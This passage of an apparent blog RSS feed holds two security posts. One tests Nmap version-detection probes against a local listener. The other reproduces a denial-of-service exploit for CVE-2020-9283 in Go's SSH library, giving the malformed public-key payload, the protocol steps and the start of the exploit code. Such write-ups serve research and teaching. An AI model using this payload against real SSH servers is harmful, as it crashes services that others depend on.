SF:a9&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;deI&lt;/span&gt;&lt;span class="se"&gt;\\\x&lt;/span&gt;&lt;span class="s2"&gt;8f&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;ee&lt;/span&gt;&lt;span class="se"&gt;\|\x&lt;/span&gt;&lt;span class="s2"&gt;ab&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f9&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e7&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e7&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f2&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c6&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;eb&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;97&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;bb&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b8&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;99&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;8f,&lt;/span&gt;&lt;span class="se"&gt;\)&lt;/span&gt;&lt;span class="s2"&gt;
SF:&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a4K&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;dc&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a3k&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b0&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;20&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\[\x&lt;/span&gt;19&lt;span class="se"&gt;\x&lt;/span&gt;ef&lt;span class="se"&gt;\x&lt;/span&gt;bf&lt;span class="se"&gt;\x&lt;/span&gt;b3#&lt;span class="se"&gt;\x&lt;/span&gt;bc&lt;span class="se"&gt;\x&lt;/span&gt;f0&lt;span class="se"&gt;\x&lt;/span&gt;06&lt;span class="se"&gt;\x&lt;/span&gt;05&lt;span class="se"&gt;\x&lt;/span&gt;20&lt;span class="se"&gt;\x&lt;/span&gt;c6&lt;span class="se"&gt;\x&lt;/span&gt;adK
SF:&lt;span class="se"&gt;\x&lt;/span&gt;88&lt;span class="se"&gt;\x&lt;/span&gt;eb&lt;span class="se"&gt;\x&lt;/span&gt;0c&lt;span class="se"&gt;\x&lt;/span&gt;f8&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="nb"&gt;dd&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;ab&lt;span class="se"&gt;\x&lt;/span&gt;adM&lt;span class="se"&gt;\x&lt;/span&gt;99&lt;span class="se"&gt;\x&lt;/span&gt;b4&lt;span class="se"&gt;\x&lt;/span&gt;d7d&lt;span class="se"&gt;\x&lt;/span&gt;e0&lt;span class="se"&gt;\x&lt;/span&gt;de&lt;span class="se"&gt;\x&lt;/span&gt;aa&lt;span class="se"&gt;\x&lt;/span&gt;02&lt;span class="se"&gt;\x&lt;/span&gt;17&lt;span class="se"&gt;\x&lt;/span&gt;b1h&lt;span class="se"&gt;\(&lt;/span&gt;~&lt;span class="se"&gt;\&lt;/span&gt;
SF:xe8&lt;span class="se"&gt;\x&lt;/span&gt;f7&lt;span class="se"&gt;\x&lt;/span&gt;d7&lt;span class="se"&gt;\?\x&lt;/span&gt;13b&lt;span class="se"&gt;\x&lt;/span&gt;db&lt;span class="se"&gt;\x&lt;/span&gt;b9&lt;span class="se"&gt;\x&lt;/span&gt;17&lt;span class="se"&gt;\x&lt;/span&gt;a5&lt;span class="se"&gt;\]\r\x&lt;/span&gt;a70&lt;span class="se"&gt;\x&lt;/span&gt;b5&lt;span class="se"&gt;\x&lt;/span&gt;12&lt;span class="se"&gt;\x&lt;/span&gt;e6&lt;span class="se"&gt;\r&lt;/span&gt;pI2&lt;span class="se"&gt;\x&lt;/span&gt;01&lt;span class="se"&gt;\x&lt;/span&gt;a1sk&lt;span class="se"&gt;\&lt;/span&gt;
SF:xf1&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="nv"&gt;f5&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;99&lt;span class="se"&gt;\x&lt;/span&gt;06&lt;span class="se"&gt;\x&lt;/span&gt;8e,&lt;span class="se"&gt;\+\x&lt;/span&gt;a1&lt;span class="se"&gt;\x&lt;/span&gt;8e&lt;span class="se"&gt;\"&lt;/span&gt;/f&lt;span class="se"&gt;\x&lt;/span&gt;af&lt;span class="se"&gt;\x&lt;/span&gt;d6&lt;span class="se"&gt;\x&lt;/span&gt;b5&lt;span class="se"&gt;\x&lt;/span&gt;06&lt;span class="se"&gt;\x&lt;/span&gt;ef&lt;span class="se"&gt;\x&lt;/span&gt;f6&lt;span class="se"&gt;\x&lt;/span&gt;204e&lt;span class="se"&gt;\x&lt;/span&gt;b4&lt;span class="se"&gt;\x&lt;/span&gt;
SF:c5&lt;span class="se"&gt;\x&lt;/span&gt;83&lt;span class="se"&gt;\x&lt;/span&gt;c3&lt;span class="se"&gt;\x&lt;/span&gt;ec&lt;span class="se"&gt;\t\x&lt;/span&gt;9a&lt;span class="se"&gt;\x&lt;/span&gt;8c&lt;span class="se"&gt;\x&lt;/span&gt;87&lt;span class="se"&gt;\x&lt;/span&gt;92U&lt;span class="se"&gt;\^\x&lt;/span&gt;1eO&lt;span class="se"&gt;\x&lt;/span&gt;db&lt;span class="se"&gt;\[&lt;/span&gt;I&lt;span class="se"&gt;\x&lt;/span&gt;8d@&lt;span class="se"&gt;\x&lt;/span&gt;b3&lt;span class="se"&gt;\x&lt;/span&gt;c8p&lt;span class="se"&gt;\x&lt;/span&gt;db&lt;span class="se"&gt;\x&lt;/span&gt;ae&lt;span class="se"&gt;\x&lt;/span&gt;
SF:94&lt;span class="se"&gt;\x&lt;/span&gt;98&lt;span class="se"&gt;\x&lt;/span&gt;ae&lt;span class="se"&gt;\x&lt;/span&gt;06&lt;span class="se"&gt;\x&lt;/span&gt;b5M&lt;span class="se"&gt;\x&lt;/span&gt;8ey0&lt;span class="se"&gt;\x&lt;/span&gt;80&lt;span class="se"&gt;\x&lt;/span&gt;f5&lt;span class="se"&gt;\x&lt;/span&gt;e0&lt;span class="se"&gt;\x&lt;/span&gt;de&amp;gt;&lt;span class="se"&gt;\x&lt;/span&gt;d4&amp;lt;6&lt;span class="se"&gt;\x&lt;/span&gt;08Q&lt;span class="se"&gt;\x&lt;/span&gt;12t&lt;span class="se"&gt;\x&lt;/span&gt;9a&lt;span class="se"&gt;\x&lt;/span&gt;a2&lt;span class="se"&gt;\x&lt;/span&gt;e4W
SF:p&lt;span class="se"&gt;\x&lt;/span&gt;b2&lt;span class="se"&gt;\x&lt;/span&gt;19%&lt;span class="se"&gt;\x&lt;/span&gt;ea&lt;span class="se"&gt;\x&lt;/span&gt;a2&lt;span class="se"&gt;\x&lt;/span&gt;f0N:7&lt;span class="se"&gt;\x&lt;/span&gt;83&lt;span class="se"&gt;\x&lt;/span&gt;117&lt;span class="se"&gt;\x&lt;/span&gt;a6&lt;span class="se"&gt;\x&lt;/span&gt;11&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="nv"&gt;d2w&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;fbA&lt;span class="se"&gt;\x&lt;/span&gt;ef&lt;span class="se"&gt;\x&lt;/span&gt;1d&lt;span class="se"&gt;\x&lt;/span&gt;a6&lt;span class="se"&gt;\x&lt;/span&gt;e7t5
SF:byL&lt;span class="se"&gt;\\\x&lt;/span&gt;d6Y5%&lt;span class="se"&gt;\x&lt;/span&gt;c4&lt;span class="se"&gt;\x&lt;/span&gt;ee&lt;span class="se"&gt;\x&lt;/span&gt;dc&lt;span class="se"&gt;\x&lt;/span&gt;a2&lt;span class="se"&gt;\x&lt;/span&gt;b3X&lt;span class="se"&gt;\x&lt;/span&gt;17&lt;span class="se"&gt;\x&lt;/span&gt;a3&lt;span class="se"&gt;\x&lt;/span&gt;e9&lt;span class="se"&gt;\x&lt;/span&gt;c6:&lt;span class="o"&gt;=&lt;/span&gt;l&lt;span class="se"&gt;\x&lt;/span&gt;91&lt;span class="se"&gt;\x&lt;/span&gt;98&lt;span class="se"&gt;\x&lt;/span&gt;cb&lt;span class="se"&gt;\x&lt;/span&gt;9e&lt;span class="se"&gt;\x&lt;/span&gt;b
SF:4&lt;span class="se"&gt;\x&lt;/span&gt;ed&lt;span class="se"&gt;\x&lt;/span&gt;9b&lt;span class="se"&gt;\x&lt;/span&gt;a5&lt;span class="se"&gt;\x&lt;/span&gt;e8&lt;span class="se"&gt;\x&lt;/span&gt;a4&lt;span class="se"&gt;\x&lt;/span&gt;e0&lt;span class="se"&gt;\x&lt;/span&gt;0b&lt;span class="se"&gt;\x&lt;/span&gt;db&lt;span class="se"&gt;\x&lt;/span&gt;deV&lt;span class="se"&gt;\x&lt;/span&gt;a0&lt;span class="se"&gt;\x&lt;/span&gt;8d&lt;span class="se"&gt;\x&lt;/span&gt;fb&lt;span class="se"&gt;\x&lt;/span&gt;f9&lt;span class="se"&gt;\)\x&lt;/span&gt;bd&lt;span class="se"&gt;\x&lt;/span&gt;ac&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;d2&lt;span class="se"&gt;\+&lt;/span&gt;
SF:&lt;span class="se"&gt;\x&lt;/span&gt;b1&lt;span class="se"&gt;\x&lt;/span&gt;075s&lt;span class="se"&gt;\x&lt;/span&gt;dc_&lt;span class="se"&gt;\x&lt;/span&gt;0e&lt;span class="se"&gt;\x&lt;/span&gt;c5&lt;span class="se"&gt;\x&lt;/span&gt;e3ZJ&lt;span class="se"&gt;\x&lt;/span&gt;c1Z&lt;span class="se"&gt;\x&lt;/span&gt;c7&lt;span class="se"&gt;\x&lt;/span&gt;e8&lt;span class="se"&gt;\x&lt;/span&gt;a2&amp;gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;be&lt;span class="se"&gt;\"\x&lt;/span&gt;ac&lt;span class="se"&gt;\x&lt;/span&gt;ab&lt;span class="se"&gt;\x&lt;/span&gt;04&lt;span class="se"&gt;\x&lt;/span&gt;cc&lt;span class="se"&gt;\&lt;/span&gt;
SF:xac&lt;span class="se"&gt;\x&lt;/span&gt;ab&lt;span class="se"&gt;\x&lt;/span&gt;92F&lt;span class="se"&gt;\x&lt;/span&gt;99w&lt;span class="se"&gt;\x&lt;/span&gt;fb&lt;span class="se"&gt;\x&lt;/span&gt;c7t&lt;span class="se"&gt;\x&lt;/span&gt;cc&lt;span class="se"&gt;\x&lt;/span&gt;edHp&lt;span class="se"&gt;\x&lt;/span&gt;ee&lt;span class="se"&gt;\x&lt;/span&gt;a3&lt;span class="se"&gt;\x&lt;/span&gt;9a-&lt;span class="se"&gt;\x&lt;/span&gt;a7&lt;span class="se"&gt;\x&lt;/span&gt;d4&lt;span class="se"&gt;\x&lt;/span&gt;1c&lt;span class="se"&gt;\x&lt;/span&gt;ba&lt;span class="se"&gt;\x&lt;/span&gt;87d&lt;span class="se"&gt;\&lt;/span&gt;
SF:xb9&lt;span class="se"&gt;\x&lt;/span&gt;83R&lt;span class="se"&gt;\x&lt;/span&gt;bb&lt;span class="se"&gt;\x&lt;/span&gt;04&lt;span class="se"&gt;\x&lt;/span&gt;84m&lt;span class="o"&gt;{&lt;/span&gt;CS&lt;span class="se"&gt;\x&lt;/span&gt;8b&lt;span class="se"&gt;\x&lt;/span&gt;a0&lt;span class="se"&gt;\"&lt;/span&gt;w&lt;span class="se"&gt;\x&lt;/span&gt;b7&lt;span class="se"&gt;\x&lt;/span&gt;d3&lt;span class="se"&gt;\+&lt;/span&gt;g&lt;span class="se"&gt;\x&lt;/span&gt;18&lt;span class="se"&gt;\x&lt;/span&gt;20&lt;span class="se"&gt;\x&lt;/span&gt;93x&lt;span class="se"&gt;\x&lt;/span&gt;93&lt;span class="se"&gt;\x&lt;/span&gt;eaOs&lt;span class="se"&gt;\x&lt;/span&gt;
SF:ff&lt;span class="s2"&gt;");
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.83 seconds
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the output above, we can see that NMAP was able to determine that port 80 was open but could not verify the service and version. &lt;/p&gt;

&lt;p&gt;If we take a look at what we have determined at this point, we now know that the -sV defaults will send probes that contain the string "nmap" and "--version-intensity" set to 1 will result in  no probes containing the string "nmap". So this leads to a natural question, at which intensity level does the string "nmap" get sent with the NMAP probes? Well easy-peasy-lemon-squeezy, lets use our tool to help us. Lets setup our server again with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@78b5ecfeb870:/work# &lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;80
root@78b5ecfeb870:/work# &lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;TERM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;nmap
root@78b5ecfeb870:/work# go build &lt;span class="nt"&gt;-o&lt;/span&gt; garbanzo &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./garbanzo 
2020/06/10 12:02:40 &lt;span class="nv"&gt;$GARBANZO_WEB&lt;/span&gt; must be &lt;span class="nb"&gt;set
&lt;/span&gt;2020/06/10 12:02:40 &lt;span class="nv"&gt;$GARBANZO_HOST&lt;/span&gt; must be &lt;span class="nb"&gt;set
&lt;/span&gt;2020/06/10 12:02:40 &lt;span class="o"&gt;[&lt;/span&gt;+] Initialised Listener on Port: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and run NMAP with "--version-intensity" set to 2.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@f5f84eb31bc0:/go# nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; 172.17.0.2 &lt;span class="nt"&gt;-p&lt;/span&gt; 80 &lt;span class="nt"&gt;--version-intensity&lt;/span&gt; 2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which results in the following tool output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;+] Initialised Listener on Port: 80
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;cb2cfd7735d96677652e77940170a0a4c695b4145fa93f7c885628df551671d7] Port:80 Connection:1 from:172.17.0.3:51288
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] &lt;span class="o"&gt;[&lt;/span&gt;cb2cfd7735d96677652e77940170a0a4c695b4145fa93f7c885628df551671d7] &lt;span class="nb"&gt;read &lt;/span&gt;tcp4 172.17.0.2:80-&amp;gt;172.17.0.3:51288: &lt;span class="nb"&gt;read&lt;/span&gt;: connection reset by peer
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;50982846ac83afffab217e22573baae530ad966028d29b4c0f1d77c71c8dce16] Port:80 Connection:2 from:172.17.0.3:51290
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;6d95e9d08c551bda3d97565334aa089396600c62b9b4fae5847156ef596a6d5e] Port:80 Connection:3 from:172.17.0.3:51292
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;71fbba3e7c6949cfed8bb15ab2708a34cc20cbe5d4d5c60ca6d139ef0a3e3a4b] Port:80 Connection:4 from:172.17.0.3:51294
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;c774af05a3d1e12d779d86d8a23eb6daac54a3ebed1d4af18d68378ad47bc6af] Port:80 Connection:5 from:172.17.0.3:51296
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;dcd29b657bd7399ada9d76144cef8fc56615d356dcee1e448ea9dd675c8d5af3] Port:80 Connection:6 from:172.17.0.3:51298
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;be510f1d5fdb54ee007f0bf7613e9df76a8d9e17cb106a999f6c78c5865e7967] Port:80 Connection:7 from:172.17.0.3:51300
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;9ffc5a4a8c704547d2f7d9d995d8c55d4ad807d01124642fff9500bb7615c091] Port:80 Connection:8 from:172.17.0.3:51302
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;460ec7db181855235ef0f78e2f99f0779af42fcf083ccd42e23e05dd6b2d8d2a] Port:80 Connection:9 from:172.17.0.3:51304
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Okay so intensity level 2 has no "nmap" term in the probes. If we repeat this process(left to the reader to do) and increase the intensity +1, we'll determine that level 7 is the level where NMAP sends the term "nmap" in its probes. Another interesting observation is that the number of connections made by NMAP also increases with the intensity level. For example, the follow NMAP command:&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bash nmap -sT -sV 172.17.0.2 -p 80 --version-intensity 6&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;results in 24 connections made by NMAP. I'll leave it to you, the reader to verify this statement :)&lt;/p&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;p&gt;1.&lt;a href="https://nmap.org/book/scan-methods-connect-scan.html"&gt;https://nmap.org/book/scan-methods-connect-scan.html&lt;/a&gt;&lt;br&gt;
2.&lt;a href="https://nmap.org/book/man-version-detection.html"&gt;https://nmap.org/book/man-version-detection.html&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Modifying Go's Crypto/ssh library for CVE-2020-9283</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Mon, 08 Jun 2020 13:11:44 +0000</pubDate>
      <link>https://forem.com/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7</link>
      <guid>https://forem.com/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7</guid>
      <description>&lt;p&gt;Recently CVE-2020-9283 was patched by the Go maintainers with this &lt;a href="https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236"&gt;commit&lt;/a&gt;. This vulnerability exploits an issue in how the SSH library parses ssh-ed25519 or &lt;a href="mailto:sk-ssh-ed25519@openssh.com"&gt;sk-ssh-ed25519@openssh.com&lt;/a&gt;&lt;br&gt;
public keys and can cause an SSH server to panic, which results in a Denial of Service (DoS). Upon further investigation of this issue, it became apparent that this was a trivial issue to exploit and I found an example exploit in this &lt;a href="https://github.com/mark-adams/exploits/tree/master/CVE-2020-9283"&gt;repo&lt;/a&gt; which utilises Python and the Paramiko package to execute SSH commands. &lt;/p&gt;

&lt;p&gt;The repo above provides a useful PoC which contains a Python script which triggers the panic and also provides a vulnerable Go SSH server and patched Go SSH server. After playing with the PoC a bit, I decided to replicate the exploit in Go. I decided this for multiple reasons, the main being I was curious as to how Go implemented the SSH protocol and a personal preference of not having to use Python.&lt;/p&gt;

&lt;p&gt;After looking at Go's SSH &lt;a href="https://pkg.go.dev/golang.org/x/crypto/ssh?tab=doc"&gt;library&lt;/a&gt; it was clear that there was no easy way to issue commands as the same way that the Paramiko library does. For example, to issue a SSH Service auth request using Paramiko you use the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;paramiko&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cMSG_SERVICE_REQUEST&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above snippet is not possible to replicate in Go and there's a few more requests that have to be made on the SSH protocol level such as the Auth_Request which occurs after the service request. I won't go into too much detail on the SSH protocol but I highly recommend reading RFC4252 which can be found &lt;a href="https://tools.ietf.org/html/rfc4252#section-5"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So to trigger the exploit using Go, we are required to do the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Issue a SSH_MSG_SERVICE_ACCEPT&lt;/li&gt;
&lt;li&gt;Issue a SSH_MSG_USERAUTH_REQUEST

&lt;ul&gt;
&lt;li&gt;Provide a malicious public key which is just a public key which is too short&lt;/li&gt;
&lt;li&gt;Provide a signature&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In order to achieve this, we need to see how Go implements the SSH protocol and modify what is sent to the target server to ensure that our malicious public key is sent.&lt;/p&gt;

&lt;p&gt;In this post, our payload aka Public Key is the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15aaa-aaa-aa-aaa-aaaaa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;however we will be working with the ASCII HEX representation in our Go code so it will look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no way in the Go library to just "send" this public key so what we can do is establish a SSH handshake on the transport layer and let Go send the auth requests but change the public key sent. This is what our Go code will look like which will invoke the Go SSH library:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;
&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;setupKeyAndDial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keyfile&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;ioutil&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ReadFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keyfile&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[ERROR]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;signer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ParsePrivateKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[ERROR]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;config&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ClientConfig&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;Auth&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AuthMethod&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PublicKeys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signer&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="n"&gt;HostKeyCallback&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HostKeyCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PublicKey&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
